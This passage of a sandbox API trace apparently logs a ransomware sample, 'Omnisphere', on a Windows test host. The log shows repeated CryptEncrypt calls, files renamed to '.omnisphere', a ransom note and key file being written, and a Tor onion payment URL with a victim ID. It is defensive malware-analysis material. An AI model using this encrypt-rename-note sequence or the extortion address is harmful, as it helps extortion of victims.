dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.000] CryptDestroyKey (hKey=0x16396e8) returned 1 [0128.000] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0128.000] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.000] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.001] GetProcessHeap () returned 0x1600000 [0128.001] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fa8c8 [0128.001] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6824f4a902c78fbd.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6824f4a902c78fbd.automaticdestinations-ms.omnisphere")) returned 1 [0128.002] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms.omnisphere.id" [0128.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6824f4a902c78fbd.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.004] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.005] CloseHandle (hObject=0x388) returned 1 [0128.005] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.005] CloseHandle (hObject=0x3c0) returned 1 [0128.005] SetEndOfFile (hFile=0x288) returned 1 [0128.005] FlushFileBuffers (hFile=0x288) returned 1 [0128.009] CloseHandle (hObject=0x288) returned 1 [0128.009] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.009] GetProcessHeap () returned 0x1600000 [0128.009] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fbdf0 [0128.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.009] GetProcessHeap () returned 0x1600000 [0128.009] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1eb0 [0128.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1eb0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.009] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.009] GetProcessHeap () returned 0x1600000 [0128.009] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710720 [0128.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710720, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.009] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.009] GetProcessHeap () returned 0x1600000 [0128.009] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb550 [0128.009] PathCombineW (in: pszDest=0x16fb550, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.009] GetProcessHeap () returned 0x1600000 [0128.009] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170a820 [0128.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.010] WriteFile (in: hFile=0x288, lpBuffer=0x170a820*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170a820*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.010] CloseHandle (hObject=0x288) returned 1 [0128.010] GetProcessHeap () returned 0x1600000 [0128.010] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fbdf0 | out: hHeap=0x1600000) returned 1 [0128.010] GetProcessHeap () returned 0x1600000 [0128.010] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.010] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.010] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.010] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.010] CloseHandle (hObject=0x288) returned 1 [0128.010] GetProcessHeap () returned 0x1600000 [0128.010] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.010] GetProcessHeap () returned 0x1600000 [0128.011] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.011] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e75d9e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66e75d9e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66e75d9e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="6d2bac8f1edf6668.automaticDestinations-ms", cAlternateFileName="6D2BAC~1.AUT")) returned 1 [0128.011] GetProcessHeap () returned 0x1600000 [0128.011] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.011] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="6d2bac8f1edf6668.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" [0128.011] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.011] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6d2bac8f1edf6668.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.011] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.011] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.011] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.013] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.013] MapViewOfFile 